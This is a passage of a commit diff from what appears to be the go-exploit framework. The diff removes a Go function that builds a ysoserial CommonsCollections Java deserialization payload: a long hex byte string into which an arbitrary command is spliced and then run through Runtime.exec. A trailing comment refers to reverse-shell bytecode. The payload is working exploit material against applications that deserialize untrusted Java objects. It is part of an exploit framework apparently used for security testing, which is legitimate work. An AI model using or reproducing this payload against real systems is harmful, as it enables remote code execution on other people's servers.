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lobsterjerusalemlobsterjerusalem
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Realized it made more sense to put it in the right file. Also simplified error check.
1 parent 7de4b5d commit 5dd5074

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2 files changed

+279
-290
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2 files changed

+279
-290
lines changed

‎java/javaclass.go‎

Lines changed: 0 additions & 290 deletions
Original file line numberDiff line numberDiff line change
@@ -1,305 +1,15 @@
11
package java
22

33
import (
4-
"fmt"
54
"encoding/binary"
65
"strconv"
76
"strings"
8-
"errors"
97

108
"github.com/vulncheck-oss/go-exploit/config"
119
"github.com/vulncheck-oss/go-exploit/random"
1210
"github.com/vulncheck-oss/go-exploit/transform"
1311
)
1412

15-
var (
16-
errInvalidCommandLength = errors.New("invalid command length")
17-
)
18-
19-
func ErrorInvalidCommandLength(msg string) error {
20-
return fmt.Errorf("%w: %s", errInvalidCommandLength, msg)
21-
}
22-
23-
// Created using ysoserial with CommonsCollections10
24-
// It was created by allocating 255 space characters for the command
25-
// We just use what amount of that space we need for the command and put
26-
// the remaining spaces back after we're finished.
27-
// This does however mean that the commandStr has a length limitation of
28-
// the allocated space (255)
29-
func Commons11CommandBytecode(commandStr string) ([]byte, error) {
30-
if len(commandStr) > 255 {
31-
return []byte{}, ErrorInvalidCommandLength("command cannot be longer than 255 characters")
32-
}
33-
34-
if len(commandStr) <= 0 {
35-
return []byte{}, ErrorInvalidCommandLength("command must be greater than 0 characters")
36-
}
37-
38-
payloadBytes := "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61"+
39-
"\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65"+
40-
"\x74\xba\x44\x85\x95\x96\xb8\xb7\x34\x03\x00\x00"+
41-
"\x78\x70\x77\x0c\x00\x00\x00\x02\x3f\x40\x00\x00"+
42-
"\x00\x00\x00\x01\x73\x72\x00\x34\x6f\x72\x67\x2e"+
43-
"\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f"+
44-
"\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f"+
45-
"\x6e\x73\x2e\x6b\x65\x79\x76\x61\x6c\x75\x65\x2e"+
46-
"\x54\x69\x65\x64\x4d\x61\x70\x45\x6e\x74\x72\x79"+
47-
"\x8a\xad\xd2\x9b\x39\xc1\x1f\xdb\x02\x00\x02\x4c"+
48-
"\x00\x03\x6b\x65\x79\x74\x00\x12\x4c\x6a\x61\x76"+
49-
"\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63"+
50-
"\x74\x3b\x4c\x00\x03\x6d\x61\x70\x74\x00\x0f\x4c"+
51-
"\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61"+
52-
"\x70\x3b\x78\x70\x73\x72\x00\x3a\x63\x6f\x6d\x2e"+
53-
"\x73\x75\x6e\x2e\x6f\x72\x67\x2e\x61\x70\x61\x63"+
54-
"\x68\x65\x2e\x78\x61\x6c\x61\x6e\x2e\x69\x6e\x74"+
55-
"\x65\x72\x6e\x61\x6c\x2e\x78\x73\x6c\x74\x63\x2e"+
56-
"\x74\x72\x61\x78\x2e\x54\x65\x6d\x70\x6c\x61\x74"+
57-
"\x65\x73\x49\x6d\x70\x6c\x09\x57\x4f\xc1\x6e\xac"+
58-
"\xab\x33\x03\x00\x06\x49\x00\x0d\x5f\x69\x6e\x64"+
59-
"\x65\x6e\x74\x4e\x75\x6d\x62\x65\x72\x49\x00\x0e"+
60-
"\x5f\x74\x72\x61\x6e\x73\x6c\x65\x74\x49\x6e\x64"+
61-
"\x65\x78\x5b\x00\x0a\x5f\x62\x79\x74\x65\x63\x6f"+
62-
"\x64\x65\x73\x74\x00\x03\x5b\x5b\x42\x5b\x00\x06"+
63-
"\x5f\x63\x6c\x61\x73\x73\x74\x00\x12\x5b\x4c\x6a"+
64-
"\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61"+
65-
"\x73\x73\x3b\x4c\x00\x05\x5f\x6e\x61\x6d\x65\x74"+
66-
"\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67"+
67-
"\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x11\x5f"+
68-
"\x6f\x75\x74\x70\x75\x74\x50\x72\x6f\x70\x65\x72"+
69-
"\x74\x69\x65\x73\x74\x00\x16\x4c\x6a\x61\x76\x61"+
70-
"\x2f\x75\x74\x69\x6c\x2f\x50\x72\x6f\x70\x65\x72"+
71-
"\x74\x69\x65\x73\x3b\x78\x70\x00\x00\x00\x00\xff"+
72-
"\xff\xff\xff\x75\x72\x00\x03\x5b\x5b\x42\x4b\xfd"+
73-
"\x19\x15\x67\x67\xdb\x37\x02\x00\x00\x78\x70\x00"+
74-
"\x00\x00\x02\x75\x72\x00\x02\x5b\x42\xac\xf3\x17"+
75-
"\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70\x00\x00"+
76-
"\x07\x93\xca\xfe\xba\xbe\x00\x00\x00\x32\x00\x39"+
77-
"\x0a\x00\x03\x00\x22\x07\x00\x37\x07\x00\x25\x07"+
78-
"\x00\x26\x01\x00\x10\x73\x65\x72\x69\x61\x6c\x56"+
79-
"\x65\x72\x73\x69\x6f\x6e\x55\x49\x44\x01\x00\x01"+
80-
"\x4a\x01\x00\x0d\x43\x6f\x6e\x73\x74\x61\x6e\x74"+
81-
"\x56\x61\x6c\x75\x65\x05\xad\x20\x93\xf3\x91\xdd"+
82-
"\xef\x3e\x01\x00\x06\x3c\x69\x6e\x69\x74\x3e\x01"+
83-
"\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6f\x64\x65"+
84-
"\x01\x00\x0f\x4c\x69\x6e\x65\x4e\x75\x6d\x62\x65"+
85-
"\x72\x54\x61\x62\x6c\x65\x01\x00\x12\x4c\x6f\x63"+
86-
"\x61\x6c\x56\x61\x72\x69\x61\x62\x6c\x65\x54\x61"+
87-
"\x62\x6c\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00"+
88-
"\x13\x53\x74\x75\x62\x54\x72\x61\x6e\x73\x6c\x65"+
89-
"\x74\x50\x61\x79\x6c\x6f\x61\x64\x01\x00\x0c\x49"+
90-
"\x6e\x6e\x65\x72\x43\x6c\x61\x73\x73\x65\x73\x01"+
91-
"\x00\x35\x4c\x79\x73\x6f\x73\x65\x72\x69\x61\x6c"+
92-
"\x2f\x70\x61\x79\x6c\x6f\x61\x64\x73\x2f\x75\x74"+
93-
"\x69\x6c\x2f\x47\x61\x64\x67\x65\x74\x73\x24\x53"+
94-
"\x74\x75\x62\x54\x72\x61\x6e\x73\x6c\x65\x74\x50"+
95-
"\x61\x79\x6c\x6f\x61\x64\x3b\x01\x00\x09\x74\x72"+
96-
"\x61\x6e\x73\x66\x6f\x72\x6d\x01\x00\x72\x28\x4c"+
97-
"\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f"+
98-
"\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c\x61\x6e"+
99-
"\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73"+
100-
"\x6c\x74\x63\x2f\x44\x4f\x4d\x3b\x5b\x4c\x63\x6f"+
101-
"\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70"+
102-
"\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74"+
103-
"\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c"+
104-
"\x69\x7a\x65\x72\x2f\x53\x65\x72\x69\x61\x6c\x69"+
105-
"\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65"+
106-
"\x72\x3b\x29\x56\x01\x00\x08\x64\x6f\x63\x75\x6d"+
107-
"\x65\x6e\x74\x01\x00\x2d\x4c\x63\x6f\x6d\x2f\x73"+
108-
"\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68"+
109-
"\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65"+
110-
"\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f\x44"+
111-
"\x4f\x4d\x3b\x01\x00\x08\x68\x61\x6e\x64\x6c\x65"+
112-
"\x72\x73\x01\x00\x42\x5b\x4c\x63\x6f\x6d\x2f\x73"+
113-
"\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68"+
114-
"\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e"+
115-
"\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c\x69\x7a\x65"+
116-
"\x72\x2f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74"+
117-
"\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x01"+
118-
"\x00\x0a\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73"+
119-
"\x07\x00\x27\x01\x00\xa6\x28\x4c\x63\x6f\x6d\x2f"+
120-
"\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63"+
121-
"\x68\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74"+
122-
"\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f"+
123-
"\x44\x4f\x4d\x3b\x4c\x63\x6f\x6d\x2f\x73\x75\x6e"+
124-
"\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f"+
125-
"\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c"+
126-
"\x2f\x64\x74\x6d\x2f\x44\x54\x4d\x41\x78\x69\x73"+
127-
"\x49\x74\x65\x72\x61\x74\x6f\x72\x3b\x4c\x63\x6f"+
128-
"\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70"+
129-
"\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74"+
130-
"\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c"+
131-
"\x69\x7a\x65\x72\x2f\x53\x65\x72\x69\x61\x6c\x69"+
132-
"\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65"+
133-
"\x72\x3b\x29\x56\x01\x00\x08\x69\x74\x65\x72\x61"+
134-
"\x74\x6f\x72\x01\x00\x35\x4c\x63\x6f\x6d\x2f\x73"+
135-
"\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68"+
136-
"\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e"+
137-
"\x61\x6c\x2f\x64\x74\x6d\x2f\x44\x54\x4d\x41\x78"+
138-
"\x69\x73\x49\x74\x65\x72\x61\x74\x6f\x72\x3b\x01"+
139-
"\x00\x07\x68\x61\x6e\x64\x6c\x65\x72\x01\x00\x41"+
140-
"\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67"+
141-
"\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f"+
142-
"\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72"+
143-
"\x69\x61\x6c\x69\x7a\x65\x72\x2f\x53\x65\x72\x69"+
144-
"\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e"+
145-
"\x64\x6c\x65\x72\x3b\x01\x00\x0a\x53\x6f\x75\x72"+
146-
"\x63\x65\x46\x69\x6c\x65\x01\x00\x0c\x47\x61\x64"+
147-
"\x67\x65\x74\x73\x2e\x6a\x61\x76\x61\x0c\x00\x0a"+
148-
"\x00\x0b\x07\x00\x28\x01\x00\x33\x79\x73\x6f\x73"+
149-
"\x65\x72\x69\x61\x6c\x2f\x70\x61\x79\x6c\x6f\x61"+
150-
"\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67"+
151-
"\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6e"+
152-
"\x73\x6c\x65\x74\x50\x61\x79\x6c\x6f\x61\x64\x01"+
153-
"\x00\x40\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72"+
154-
"\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c"+
155-
"\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f"+
156-
"\x78\x73\x6c\x74\x63\x2f\x72\x75\x6e\x74\x69\x6d"+
157-
"\x65\x2f\x41\x62\x73\x74\x72\x61\x63\x74\x54\x72"+
158-
"\x61\x6e\x73\x6c\x65\x74\x01\x00\x14\x6a\x61\x76"+
159-
"\x61\x2f\x69\x6f\x2f\x53\x65\x72\x69\x61\x6c\x69"+
160-
"\x7a\x61\x62\x6c\x65\x01\x00\x39\x63\x6f\x6d\x2f"+
161-
"\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63"+
162-
"\x68\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74"+
163-
"\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f"+
164-
"\x54\x72\x61\x6e\x73\x6c\x65\x74\x45\x78\x63\x65"+
165-
"\x70\x74\x69\x6f\x6e\x01\x00\x1f\x79\x73\x6f\x73"+
166-
"\x65\x72\x69\x61\x6c\x2f\x70\x61\x79\x6c\x6f\x61"+
167-
"\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67"+
168-
"\x65\x74\x73\x01\x00\x08\x3c\x63\x6c\x69\x6e\x69"+
169-
"\x74\x3e\x01\x00\x11\x6a\x61\x76\x61\x2f\x6c\x61"+
170-
"\x6e\x67\x2f\x52\x75\x6e\x74\x69\x6d\x65\x07\x00"+
171-
"\x2a\x01\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69"+
172-
"\x6d\x65\x01\x00\x15\x28\x29\x4c\x6a\x61\x76\x61"+
173-
"\x2f\x6c\x61\x6e\x67\x2f\x52\x75\x6e\x74\x69\x6d"+
174-
"\x65\x3b\x0c\x00\x2c\x00\x2d\x0a\x00\x2b\x00\x2e"+
175-
176-
// 255 characters were allocated, we just put back the unused
177-
// length as spaces
178-
"\x01\x00\xff" + commandStr + strings.Repeat(" ", 0xff-len(commandStr)) +
179-
180-
"\x08\x00\x30\x01\x00\x04"+
181-
"\x65\x78\x65\x63\x01\x00\x27\x28\x4c\x6a\x61\x76"+
182-
"\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e"+
183-
"\x67\x3b\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e"+
184-
"\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x3b\x0c\x00"+
185-
"\x32\x00\x33\x0a\x00\x2b\x00\x34\x01\x00\x0d\x53"+
186-
"\x74\x61\x63\x6b\x4d\x61\x70\x54\x61\x62\x6c\x65"+
187-
"\x01\x00\x1d\x79\x73\x6f\x73\x65\x72\x69\x61\x6c"+
188-
"\x2f\x50\x77\x6e\x65\x72\x37\x34\x30\x30\x32\x30"+
189-
"\x33\x39\x32\x34\x35\x37\x39\x31\x01\x00\x1f\x4c"+
190-
"\x79\x73\x6f\x73\x65\x72\x69\x61\x6c\x2f\x50\x77"+
191-
"\x6e\x65\x72\x37\x34\x30\x30\x32\x30\x33\x39\x32"+
192-
"\x34\x35\x37\x39\x31\x3b\x00\x21\x00\x02\x00\x03"+
193-
"\x00\x01\x00\x04\x00\x01\x00\x1a\x00\x05\x00\x06"+
194-
"\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x04"+
195-
"\x00\x01\x00\x0a\x00\x0b\x00\x01\x00\x0c\x00\x00"+
196-
"\x00\x2f\x00\x01\x00\x01\x00\x00\x00\x05\x2a\xb7"+
197-
"\x00\x01\xb1\x00\x00\x00\x02\x00\x0d\x00\x00\x00"+
198-
"\x06\x00\x01\x00\x00\x00\x2f\x00\x0e\x00\x00\x00"+
199-
"\x0c\x00\x01\x00\x00\x00\x05\x00\x0f\x00\x38\x00"+
200-
"\x00\x00\x01\x00\x13\x00\x14\x00\x02\x00\x0c\x00"+
201-
"\x00\x00\x3f\x00\x00\x00\x03\x00\x00\x00\x01\xb1"+
202-
"\x00\x00\x00\x02\x00\x0d\x00\x00\x00\x06\x00\x01"+
203-
"\x00\x00\x00\x33\x00\x0e\x00\x00\x00\x20\x00\x03"+
204-
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207-
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209-
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210-
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219-
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222-
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225-
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227-
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228-
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229-
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230-
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231-
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232-
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233-
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234-
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235-
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236-
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237-
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238-
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239-
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240-
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241-
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242-
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243-
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244-
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245-
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246-
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247-
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248-
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249-
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250-
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252-
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253-
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254-
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255-
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256-
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257-
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258-
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259-
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260-
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261-
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262-
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263-
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264-
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265-
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266-
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267-
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268-
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269-
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270-
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271-
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272-
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273-
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274-
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275-
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276-
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277-
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278-
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279-
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280-
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281-
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282-
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283-
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284-
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285-
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286-
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287-
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288-
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289-
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290-
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291-
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292-
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293-
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294-
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295-
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296-
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297-
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298-
"\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x78"
299-
300-
return []byte(payloadBytes), nil
301-
}
302-
30313
// This is the Java bytecode for a reverse shell. You can find the source code here:
30414
//
30515
// https://gist.github.com/j-baines/38eb6d16eed64986a369f7f981f57508

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